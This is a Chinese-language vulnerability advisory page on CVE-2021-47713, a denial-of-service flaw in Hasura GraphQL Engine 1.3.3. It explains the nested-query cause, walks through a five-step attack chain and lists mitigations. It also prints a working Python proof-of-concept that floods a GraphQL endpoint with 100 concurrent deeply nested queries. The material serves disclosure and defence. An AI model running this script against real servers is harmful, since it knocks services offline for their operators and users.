IPBUF安全漏洞报告
English
CVE-2021-47713 CVSS 7.5 高危

CVE-2021-47713 Hasura GraphQL拒绝服务漏洞

披露日期: 2025-12-22

漏洞信息

漏洞编号
CVE-2021-47713
漏洞类型
拒绝服务(DoS)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hasura GraphQL Engine

相关标签

拒绝服务Hasura GraphQLCVE-2021-47713资源耗尽GraphQL安全高危漏洞

漏洞概述

CVE-2021-47713是Hasura GraphQL Engine 1.3.3版本中存在的一个高危拒绝服务漏洞。该漏洞允许未经身份验证的远程攻击者通过发送精心构造的恶意GraphQL查询来消耗服务器资源,最终导致GraphQL服务不可用。攻击者利用GraphQL查询的递归嵌套特性,构造包含大量嵌套字段的查询语句,每个嵌套层级都会触发数据库查询和复杂的数据处理逻辑。当这种恶意请求被大量并发发送时,服务器CPU和内存资源会被迅速耗尽,导致服务响应缓慢甚至完全崩溃。由于该漏洞无需认证即可利用,且攻击复杂度较低,任何能够访问GraphQL端点的攻击者都可以发起攻击,对使用Hasura GraphQL Engine构建API服务的应用造成严重威胁。

技术细节

Hasura GraphQL Engine在处理GraphQL查询时存在资源管理缺陷。当接收到包含过度嵌套字段的查询时,系统未能对查询深度和复杂度进行有效限制。攻击者构造的恶意查询示例:{ users { posts { comments { likes { user { posts { ... } } } } } } }。这种递归嵌套结构会触发大量的数据库查询操作,每个层级都会生成相应的SQL查询语句并等待数据库响应。由于GraphQL解析器需要处理这些复杂的嵌套结构,内存消耗会随着嵌套深度呈指数级增长。攻击者通常会同时使用多个并发连接发送此类请求,配合极长的查询字符串,进一步加速资源耗尽过程。漏洞的根本原因在于GraphQL Engine的查询复杂度分析模块存在缺陷,未能正确识别和限制这类资源密集型查询的执行。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者发现目标网站使用Hasura GraphQL Engine,通过访问/v1/graphql端点验证服务可用性
STEP 2
步骤2: 构造恶意请求
攻击者构造包含过度嵌套字段的GraphQL查询,利用递归嵌套结构消耗服务器资源
STEP 3
步骤3: 发送恶意请求
使用脚本或工具发送带有极长查询字符串的重复请求,可能配合多个并发连接
STEP 4
步骤4: 资源耗尽
服务器CPU和内存资源被大量恶意查询消耗,导致正常请求处理延迟或超时
STEP 5
步骤5: 服务瘫痪
GraphQL端点无法响应合法请求,数据库连接池耗尽,最终导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import concurrent.futures import time # CVE-2021-47713 PoC - Hasura GraphQL DoS via nested queries # Target: Hasura GraphQL Engine <= 1.3.3 TARGET_URL = "http://target-graphql-server/v1/graphql" def create_malicious_query(depth=10): """ Generate a deeply nested GraphQL query to trigger DoS """ def build_nested(depth, field_name): if depth <= 0: return f"{field_name} {{ id }}" return f"{field_name} {{ id {build_nested(depth-1, field_name)} }}" query = f"query {{ {build_nested(depth, 'users')} }}" return {"query": query} def send_request(session, payload): """ Send malicious GraphQL request """ try: headers = {"Content-Type": "application/json"} response = session.post(TARGET_URL, json=payload, headers=headers, timeout=30) return response.status_code except Exception as e: print(f"Request failed: {e}") return None def exploit(): """ Main exploit function - send multiple nested queries """ session = requests.Session() payload = create_malicious_query(depth=15) print(f"[*] Starting DoS attack on {TARGET_URL}") print(f"[*] Payload size: {len(str(payload))} bytes") with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor: futures = [executor.submit(send_request, session, payload) for _ in range(100)] for future in concurrent.futures.as_completed(futures): future.result() print("[*] Attack completed") if __name__ == "__main__": exploit()

影响范围

Hasura GraphQL Engine < 1.3.4
Hasura GraphQL Engine 1.3.3
Hasura GraphQL Engine 1.3.2
Hasura GraphQL Engine 1.3.1
Hasura GraphQL Engine 1.3.0

防御指南

临时缓解措施
在未完成升级前,可通过以下措施临时缓解:1) 在反向代理(如Nginx)中限制请求体大小和请求速率;2) 配置Hasura的查询复杂度限制参数;3) 限制GraphQL端点的公网访问,仅允许受信任的IP访问;4) 启用Hasura的限流功能,设置max-depth等参数;5) 监控服务器资源使用情况,及时发现异常流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表